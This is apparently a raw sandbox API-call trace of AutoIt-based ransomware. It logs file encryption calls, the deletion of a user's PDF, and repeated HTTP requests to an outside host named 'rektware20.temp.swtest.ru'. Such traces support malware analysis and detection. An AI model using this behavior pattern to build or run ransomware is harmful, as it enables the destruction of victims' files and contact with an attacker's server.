hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.740] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.740] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.740] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0079.741] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.743] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.743] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.743] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.744] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.744] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.744] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.744] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.744] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.744] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.744] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.744] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.744] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.744] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.744] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.744] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.744] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.744] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.744] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0079.744] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0079.744] CryptReleaseContext (hProv=0x1631dd0, dwFlags=0x0) returned 1 [0079.745] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.745] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.745] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.745] FreeLibrary (hLibModule=0x74c60000) returned 1 [0079.745] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.745] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.745] CloseHandle (hObject=0x3d8) returned 1 [0079.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.745] CloseHandle (hObject=0x3c8) returned 1 [0079.748] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.749] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.749] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", lpFilePart=0x0) returned 0x32 [0079.749] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\ac2pjibk1jf.pdf")) returned 0x20 [0079.749] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2b0 [0079.749] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\ac2pjibk1jf.pdf")) returned 1 [0079.765] FindNextFileW (in: hFindFile=0x164c2b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0079.765] FindClose (in: hFindFile=0x164c2b0 | out: hFindFile=0x164c2b0) returned 1 [0079.765] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.766] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0079.766] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.766] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.766] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0079.766] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.766] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0079.766] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0079.766] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c) returned 1 [0079.766] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.766] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.767] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.767] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0079.767] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0079.767] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0079.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0079.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0079.767] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.768] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.768] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.768] CloseHandle (hObject=0x0) returned 0 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cp-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vvuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vuvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uvB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vB.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.769] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.769] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0079.769] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.769] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0079.769] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0079.769] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.769] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0079.769] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0079.769] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0079.769] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.769] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.769] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.770] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0079.770] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0079.770] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0079.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0079.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629420, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629420*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0079.770] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.770] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.770] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.770] CloseHandle (hObject=0x0) returned 0 [0079.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.770] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0079.770] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.771] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.771] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.771] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.771] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.771] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.771] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0079.771] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.771] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0079.771] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.771] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.771] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.771] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.771] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0079.771] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0079.772] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 